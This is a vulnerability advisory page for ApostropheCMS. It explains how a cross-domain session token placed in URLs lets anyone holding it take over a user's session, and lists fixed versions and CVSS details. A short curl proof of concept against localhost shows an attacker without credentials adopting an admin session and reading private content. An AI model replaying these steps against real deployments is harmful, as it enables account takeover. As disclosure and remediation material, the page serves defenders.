ApostropheCMS: Cross-domain session token in URL confers session takeover
Summary
Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including passport.user) with no credentials.
Details
packages/apostrophe/modules/@apostrophecms/i18n/index.js:
- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (
passport-bridge/index.jsL557–593) places the token in the URL. acceptCrossDomainSessionToken(L258–298) reads?aposCrossDomainSessionToken,Object.assigns the stored session (cookie +passport.user) ontoreq.session, then nulls the cache entry under namespace@apostrophecms/i18n:cross-domain-sessions.- Middleware without
before:is registered for every URL (expressfindModuleMiddlewareAndRoutesL820–879); verified withAPOS_LOG_ALL_ROUTES=1.
PoC
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
--data '{"username":"admin","password":"adminpassword","session":true}' \
http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
# → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
# → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}Impact
Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.
What to do
Upgrade apostrophe to version 4.33.0 or later and @apostrophecms/passport-bridge to version 1.6.1 or later. As recommended, deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter, bind consumption to the exact source/destination host pair, expire in seconds, and never log it.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | apostrophe | < 4.33.0 | 4.33.0 |
| npm package | @apostrophecms/passport-bridge | < 1.6.1 | 1.6.1 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-598- Platform
- npm
- Package
apostrophe, @apostrophecms/passport-bridge- Disclosed
- 20.10.2026
- Updated
- 20.10.2026 21:21
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-hhvr-8m24-qqr3 - CC BY 4.0
Vulnerability history: apostrophe
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 27
- First → latest
- 09.2020 10.2026
- Without a fix
- 4
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 8
- Medium 13
- Low 4
Disclosures per year
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Cross-domain session token in URL confers session takeover this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.